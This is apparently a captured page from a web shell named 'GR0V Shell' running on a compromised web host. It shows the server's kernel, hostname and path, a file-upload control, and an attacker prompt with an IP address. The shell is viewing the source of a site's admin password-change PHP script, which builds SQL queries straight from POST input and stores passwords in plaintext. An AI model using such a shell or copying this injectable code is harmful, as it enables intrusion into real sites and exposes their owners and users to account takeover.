? GR0V Shell

GR0V shell

Linux node1.dnscloudserver.in 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64

Path : /home/yogsadhna/public_html/admin/
File Upload :
Current File : /home/yogsadhna/public_html/admin/change.php

<?
include "include/header.php";
if($_POST)
{
extract($_POST);
$result=$obj->query("select * from admin where `password`='$oldPassword'");
$row=$obj->fetch_query($result);
if($row->password==$oldPassword)
{
$obj->query("UPDATE `admin` SET  `password` = '$newPassword' where `id`=$row->id");
$mes="Your New password bas been chenged";
}
else
$mes="Your old password not Matched Please enter old password";
}
?>
<link href="style.css" rel="stylesheet" type="text/css">

<table width="100%" border="0" cellspacing="2" cellpadding="3">
           <tr>
             <td width="20%" class="border" valign="top"><? include "include/leftmenu.php" ?></td>
             <td bgcolor="#e6e4ef" id="welcomenote" valign="top">
<!--mid panel-->
<form name="change" action="" method="post" onSubmit="return validationChange();">
<table border="0" cellpadding="5" cellspacing="0" width="80%" id="recored" align="center" class="normaltext">
<tr><td colspan="2" style="font-size:16px; text-align:center;"><strong>Change Password</strong></td></tr>
<tr><td colspan="2" id="error" align="center"><?php echo $mes; ?></td></tr>
<tr bgcolor="#EEEEEE"><td class="textcap" >Enter the Old Password</td><td><input name="oldPassword" type="password" value=""  class="inputbox"/></td></tr>
<tr><td colspan="2">&nbsp;</td></tr>
<tr bgcolor="#EEEEEE"><td class="textcap">Enter the New Password</td><td><input name="newPassword" type="password" value="" class="inputbox"/></td></tr>
<tr><td colspan="2">&nbsp;</td></tr>
<tr bgcolor="#EEEEEE"><td class="textcap">Enter the Confirm Password</td><td><input name="conPassword" type="password" value="" class="inputbox"/></td></tr>
<tr><td colspan="2">&nbsp;</td></tr>
<tr bgcolor="#EEEEEE"><td colspan="2" align="center"><input name="submit"  type="image" src="images/Change.jpg" value="Change" class="submitbox" /></td></tr>
</table>
</form>
</td>
</tr></table>
 <? include "include/footer.php";?>

T1KUS90T
  root-grov@65.21.25.53:~$